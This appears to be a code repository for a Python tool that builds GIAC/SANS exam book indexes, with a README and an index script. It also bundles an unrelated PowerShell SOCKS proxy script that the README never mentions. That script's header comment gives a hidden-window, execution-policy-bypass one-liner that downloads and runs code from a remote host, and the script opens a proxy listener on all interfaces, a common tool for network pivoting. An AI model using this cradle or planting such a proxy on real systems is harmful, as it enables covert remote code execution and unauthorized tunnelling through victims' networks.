├── README.md
├── sans_index_generator.py
└── socks_proxy_server.ps1
/README.md:
--------------------------------------------------------------------------------
1 | # SANS-Index-Helper-Tool
2 | Python command line tool used for generating GIAC Certification book indexes. Provides a command line interface to create a SANS book index for your GIAC certification attempts. This is a simpler evolution of Matthew Toussain's tool at https://github.com/0sm0s1z/Xenocrates.
3 | ## Usage and Requirements
4 | The tool requires Python 3. To start the program, create a folder and place the script within. Run the script with the following syntax:
5 | ```
6 | $ python sans_index_generator.py
7 | ```
8 | ## Purpose
9 | This tool allows you to create a basic index that is more than sufficient for use. An index that is too verbose can lead to longer lookup times resulting in time loss. Nothing replaces knowing the material, but a good index can allow you to quickly search for information if needed.
10 | ## Instructions
11 | On start, the tool will prompt you for the current book that you are studying. This will mark each new entry with a book number. If you want to designate a new book, exit out of the script and re-open, specifying the new book. This will prevent you from having to type the book number for all 200 pages of a SANS book (trust me, typing '560.1' 200 times gets old).
12 | ```
13 | -----------------------------------------------------------------------
14 | | SANS Index Generator |
15 | -----------------------------------------------------------------------
16 | Please specify the current book that you are indexing (Ex. '542.2')
17 | Current Book:
18 | ```
19 | After a book has been specified, the tool will ask you to enter a topic keyword and its associated page number.
20 | ```
21 | Please enter the book page keyword(s) and then the page number(s) for each entry.
22 | Type 'quit' or 'exit' to save progress, generate html file, and exit this script.
23 |
24 | Enter topic keyword(s) : WebSocket, Implementation
25 | Enter page number(s) : 139
26 | Entry Added...
27 |
28 | Enter topic keyword :
29 | ```
30 | After pressing Enter, the entry will be added and the tool prompts for another entry. This is an infinite loop that can be closed by typing 'exit' or 'quit' at the keyword prompt. This action will save the data file and generate an html file from the data file.
31 | ## Data File
32 | This is the file generated from your data input. Keep a backup of this file just in case, as it holds all of your data. Here is an example of what the file looks like:
33 | The tab-separated values are 'keyword', 'book#', 'page#'.
34 | ```
35 | DNS 542.1 33
36 | DNS - Reverse Scan 542.1 36
37 | DNS - Brute Force 542.1 37
38 | DNS - Recon Tools 542.1 38
39 | ```
40 | ## HTML File - End Result
41 | This file is produced as the end result. It displays your index alphabetically sorted with some color formatting. The HTML file can be opened with the browser of your choice. From here, you can print your index as a single column data string, or you can copy and paste the data into a word processor (preserving the colors) and convert it into a two-column document for a more professional appearance.
42 |
--------------------------------------------------------------------------------
/sans_index_generator.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import operator
3 |
4 | def main():
5 | index = []
6 | keyword_main = []
7 | book = []
8 | page = []
9 |
10 | print( "-----------------------------------------------------------------------")
11 | print( "| SANS Index Generator |")
12 | print( "-----------------------------------------------------------------------")
13 | print( "Please specify the current book that you are indexing (Ex. '542.2')" )
14 | working_book = input("Current Book: ")
15 | print( "Please enter the book page keyword(s) and then the page number(s) for each entry." )
16 | print( "Type 'quit' or 'exit' to save progress, generate html file, and exit this script.\n" )
17 |
18 | with open('index.html', 'w') as file:
19 | file.write("\n")
20 | file.write("\n")
21 | file.write("\n\n")
22 |
23 | while True:
24 | keyword = ''
25 | keyword = input('Enter topic keyword(s) : ')
26 | if keyword == 'quit':
27 | break
28 | elif keyword == 'exit':
29 | break
30 |
31 | insert_book = str(working_book).strip()
32 | insert_page = input('Enter page number(s) : ')
33 |
34 | line = keyword + '\t' + insert_book + '\t' + insert_page
35 |
36 | with open('data_file', 'a') as output_file:
37 | output_file.write(line)
38 | output_file.write('\n')
39 |
40 | print ( 'Entry Added...\n' )
41 |
42 | with open('data_file', 'r') as out_file:
43 | for line in out_file:
44 | line_list = line.strip().split('\t')
45 | keyword_list = line_list[0].split(' ')
46 | keyword_list[0] = keyword_list[0].capitalize()
47 | keyword_list = ' '.join(keyword_list)
48 | keyword_main.append(keyword_list)
49 | book.append(line_list[1])
50 | page.append(line_list[2])
51 |
52 | items = len(keyword_main)
53 | i = 0
54 | while items > 0:
55 | index.append([keyword_main[i], book[i], page[i]])
56 | i += 1
57 | items -= 1
58 |
59 | pos = 0
60 | sorted_list = sorted(index, key=operator.itemgetter(0))
61 |
62 | with open('index.html', 'a') as file:
63 | for item in sorted_list:
64 | key = item[0].strip('"').rstrip('"')
65 |
66 | # Create Section Header
67 | if key.startswith("A"):
68 | if pos == 0:
69 | file.write("A
\n")
70 | pos = 1
71 | elif key.startswith("B"):
72 | if pos != 2:
73 | file.write("
B
\n")
74 | pos = 2
75 | elif key.startswith("C"):
76 | if pos != 3:
77 | file.write("
C
\n")
78 | pos = 3
79 | elif key.startswith("D"):
80 | if pos != 4:
81 | file.write("
D
\n")
82 | pos = 4
83 | elif key.startswith("E"):
84 | if pos != 5:
85 | file.write("
E
\n")
86 | pos = 5
87 | elif key.startswith("F"):
88 | if pos != 6:
89 | file.write("
F
\n")
90 | pos = 6
91 | elif key.startswith("G"):
92 | if pos != 7:
93 | file.write("
G
\n")
94 | pos = 7
95 | elif key.startswith("H"):
96 | if pos != 8:
97 | file.write("
H
\n")
98 | pos = 8
99 | elif key.startswith("I"):
100 | if pos != 9:
101 | file.write("
I
\n")
102 | pos = 9
103 | elif key.startswith("J"):
104 | if pos != 10:
105 | file.write("
J
\n")
106 | pos = 10
107 | elif key.startswith("K"):
108 | if pos != 11:
109 | file.write("
K
\n")
110 | pos = 11
111 | elif key.startswith("L"):
112 | if pos != 12:
113 | file.write("
L
\n")
114 | pos = 12
115 | elif key.startswith("M"):
116 | if pos != 13:
117 | file.write("
M
\n")
118 | pos = 13
119 | elif key.startswith("N"):
120 | if pos != 14:
121 | file.write("
N
\n")
122 | pos = 14
123 | elif key.startswith("O"):
124 | if pos != 15:
125 | file.write("
O
\n")
126 | pos = 15
127 | elif key.startswith("P"):
128 | if pos != 16:
129 | file.write("
P
\n")
130 | pos = 16
131 | elif key.startswith("Q"):
132 | if pos != 17:
133 | file.write("
Q
\n")
134 | pos = 17
135 | elif key.startswith("R"):
136 | if pos != 18:
137 | file.write("
R
\n")
138 | pos = 18
139 | elif key.startswith("S"):
140 | if pos != 19:
141 | file.write("
S
\n")
142 | pos = 19
143 | elif key.startswith("T"):
144 | if pos != 20:
145 | file.write("
T
\n")
146 | pos = 20
147 | elif key.startswith("U"):
148 | if pos != 21:
149 | file.write("
U
\n")
150 | pos = 21
151 | elif key.startswith("V"):
152 | if pos != 22:
153 | file.write("
V
\n")
154 | pos = 22
155 | elif key.startswith("W"):
156 | if pos != 23:
157 | file.write("
W
\n")
158 | pos = 23
159 | elif key.startswith("X"):
160 | if pos != 24:
161 | file.write("
X
\n")
162 | pos = 24
163 | elif key.startswith("Y"):
164 | if pos != 25:
165 | file.write("
Y
\n")
166 | pos = 25
167 | elif key.startswith("Z"):
168 | if pos != 26:
169 | file.write("
Z
\n")
170 | pos = 26
171 |
172 | if item[0] != "":
173 | file.write("
%s [book: %s / page(s): %s]
\n"
174 | % (item[0].strip('"').rstrip('"'), item[1], item[2]))
175 | else:
176 | pass
177 |
178 |
179 | if __name__ == "__main__":
180 | main()
181 |
182 |
--------------------------------------------------------------------------------
/socks_proxy_server.ps1:
--------------------------------------------------------------------------------
1 | # To invoke : Invoke-SocksProxy -bindIP 0.0.0.0 -bindPort 65535
2 | # Serve it like: powershell -exec bypass -nop -noexit -windowstyle hidden -c (new-object system.net.webclient).downloadstring('...host your script.')
3 | [ScriptBlock]$SocksConnectionMgr = {
4 | param($vars)
5 | $Script = {
6 | param($vars)
7 | $vars.inStream.CopyTo($vars.outStream)
8 | Exit
9 | }
10 | $rsp=$vars.rsp;
11 | function Get-IpAddress{
12 | param($ip)
13 | IF ($ip -as [ipaddress]){
14 | return $ip
15 | }else{
16 | $ip2 = [System.Net.Dns]::GetHostAddresses($ip)[0].IPAddressToString;
17 | }
18 | return $ip2
19 | }
20 | $client=$vars.cliConnection
21 | $buffer = New-Object System.Byte[] 32
22 | try
23 | {
24 | $cliStream = $client.GetStream()
25 | $cliStream.Read($buffer,0,2) | Out-Null
26 | $socksVer=$buffer[0]
27 | if ($socksVer -eq 5){
28 | $cliStream.Read($buffer,2,$buffer[1]) | Out-Null
29 | for ($i=2; $i -le $buffer[1]+1; $i++) {
30 | if ($buffer[$i] -eq 0) {break}
31 | }
32 | if ($buffer[$i] -ne 0){
33 | $buffer[1]=255
34 | $cliStream.Write($buffer,0,2)
35 | }else{
36 | $buffer[1]=0
37 | $cliStream.Write($buffer,0,2)
38 | }
39 | $cliStream.Read($buffer,0,4) | Out-Null
40 | $cmd = $buffer[1]
41 | $atyp = $buffer[3]
42 | if($cmd -ne 1){
43 | $buffer[1] = 7
44 | $cliStream.Write($buffer,0,2)
45 | throw "Not a connect"
46 | }
47 | if($atyp -eq 1){
48 | $ipv4 = New-Object System.Byte[] 4
49 | $cliStream.Read($ipv4,0,4) | Out-Null
50 | $ipAddress = New-Object System.Net.IPAddress(,$ipv4)
51 | $hostName = $ipAddress.ToString()
52 | }elseif($atyp -eq 3){
53 | $cliStream.Read($buffer,4,1) | Out-Null
54 | $hostBuff = New-Object System.Byte[] $buffer[4]
55 | $cliStream.Read($hostBuff,0,$buffer[4]) | Out-Null
56 | $hostName = [System.Text.Encoding]::ASCII.GetString($hostBuff)
57 | }
58 | else{
59 | $buffer[1] = 8
60 | $cliStream.Write($buffer,0,2)
61 | throw "Not a valid destination address"
62 | }
63 | $cliStream.Read($buffer,4,2) | Out-Null
64 | $destPort = $buffer[4]*256 + $buffer[5]
65 | $destHost = Get-IpAddress($hostName)
66 | if($destHost -eq $null){
67 | $buffer[1]=4
68 | $cliStream.Write($buffer,0,2)
69 | throw "Cant resolve destination address"
70 | }
71 | $tmpServ = New-Object System.Net.Sockets.TcpClient($destHost, $destPort)
72 | if($tmpServ.Connected){
73 | $buffer[1]=0
74 | $buffer[3]=1
75 | $buffer[4]=0
76 | $buffer[5]=0
77 | $cliStream.Write($buffer,0,10)
78 | $cliStream.Flush()
79 | $srvStream = $tmpServ.GetStream()
80 | $AsyncJobResult2 = $srvStream.CopyToAsync($cliStream)
81 | $AsyncJobResult = $cliStream.CopyToAsync($srvStream)
82 | $AsyncJobResult.AsyncWaitHandle.WaitOne();
83 | $AsyncJobResult2.AsyncWaitHandle.WaitOne();
84 |
85 | }
86 | else{
87 | $buffer[1]=4
88 | $cliStream.Write($buffer,0,2)
89 | throw "Cant connect to host"
90 | }
91 | }elseif($socksVer -eq 4){
92 | $cmd = $buffer[1]
93 | if($cmd -ne 1){
94 | $buffer[0] = 0
95 | $buffer[1] = 91
96 | $cliStream.Write($buffer,0,2)
97 | throw "Not a connect"
98 | }
99 | $cliStream.Read($buffer,2,2) | Out-Null
100 | $destPort = $buffer[2]*256 + $buffer[3]
101 | $ipv4 = New-Object System.Byte[] 4
102 | $cliStream.Read($ipv4,0,4) | Out-Null
103 | $destHost = New-Object System.Net.IPAddress(,$ipv4)
104 | $buffer[0]=1
105 | while ($buffer[0] -ne 0){
106 | $cliStream.Read($buffer,0,1)
107 | }
108 | $tmpServ = New-Object System.Net.Sockets.TcpClient($destHost, $destPort)
109 |
110 | if($tmpServ.Connected){
111 | $buffer[0]=0
112 | $buffer[1]=90
113 | $buffer[2]=0
114 | $buffer[3]=0
115 | $cliStream.Write($buffer,0,8)
116 | $cliStream.Flush()
117 | $srvStream = $tmpServ.GetStream()
118 | $AsyncJobResult2 = $srvStream.CopyToAsync($cliStream)
119 | $AsyncJobResult = $cliStream.CopyTo($srvStream)
120 | $AsyncJobResult.AsyncWaitHandle.WaitOne();
121 | $AsyncJobResult2.AsyncWaitHandle.WaitOne();
122 | }
123 | }else{
124 | throw "Unknown socks version"
125 | }
126 | }
127 | catch {
128 | #$_ >> "error.log"
129 | }
130 | finally {
131 | if ($client -ne $null) {
132 | $client.Dispose()
133 | }
134 | if ($tmpServ -ne $null) {
135 | $tmpServ.Dispose()
136 | }
137 | Exit;
138 | }
139 | }
140 |
141 | function Invoke-SocksProxy {
142 | param (
143 | [String]$bindIP = "0.0.0.0",
144 | [Int]$bindPort = 1080,
145 | [Int]$threads = 200
146 | )
147 | try{
148 | $listener = new-object System.Net.Sockets.TcpListener([System.Net.IPAddress]::Parse($bindIP), $bindPort)
149 | $listener.start()
150 | $rsp = [runspacefactory]::CreateRunspacePool(1,$threads);
151 | $rsp.CleanupInterval = New-TimeSpan -Seconds 30;
152 | $rsp.open();
153 | write-host "Listening on port $bindPort..."
154 | while($true){
155 | $client = $listener.AcceptTcpClient()
156 | Write-Host "New Connection from " $client.Client.RemoteEndPoint
157 | $vars = [PSCustomObject]@{"cliConnection"=$client; "rsp"=$rsp}
158 | $PS3 = [PowerShell]::Create()
159 | $PS3.RunspacePool = $rsp;
160 | $PS3.AddScript($SocksConnectionMgr).AddArgument($vars) | Out-Null
161 | $PS3.BeginInvoke() | Out-Null
162 | Write-Host "Threads Left:" $rsp.GetAvailableRunspaces()
163 | }
164 | }
165 | catch{
166 | throw $_
167 | }
168 | finally{
169 | write-host "Server closed."
170 | if ($listener -ne $null) {
171 | $listener.Stop()
172 | }
173 | if ($client -ne $null) {
174 | $client.Dispose()
175 | $client = $null
176 | }
177 | if ($PS3 -ne $null -and $AsyncJobResult3 -ne $null) {
178 | $PS3.EndInvoke($AsyncJobResult3) | Out-Null
179 | $PS3.Runspace.Close()
180 | $PS3.Dispose()
181 | }
182 | }
183 | }
184 |
185 | function Get-IpAddress{
186 | param($ip)
187 | IF ($ip -as [ipaddress]){
188 | return $ip
189 | }else{
190 | $ip2 = [System.Net.Dns]::GetHostAddresses($ip)[0].IPAddressToString;
191 | Write-Host "$ip resolved to $ip2"
192 | }
193 | return $ip2
194 | }
195 |
196 | function StartProxyServer {
197 | param (
198 | [String]$bindIP = "0.0.0.0",
199 | [Int]$bindPort = 1080
200 | )
201 | return Start-Job {
202 | param($bindIP,$bindPort)
203 | Invoke-SocksProxy -bindIP $bindIP -bindPort $bindPort;
204 | } -ArgumentList $bindIP, $bindPort;
205 | }
206 |
207 | # Invoke-SocksProxy -bindIP 0.0.0.0 -bindPort 65530;
208 | # uncomment above to serve directly from http
209 |
--------------------------------------------------------------------------------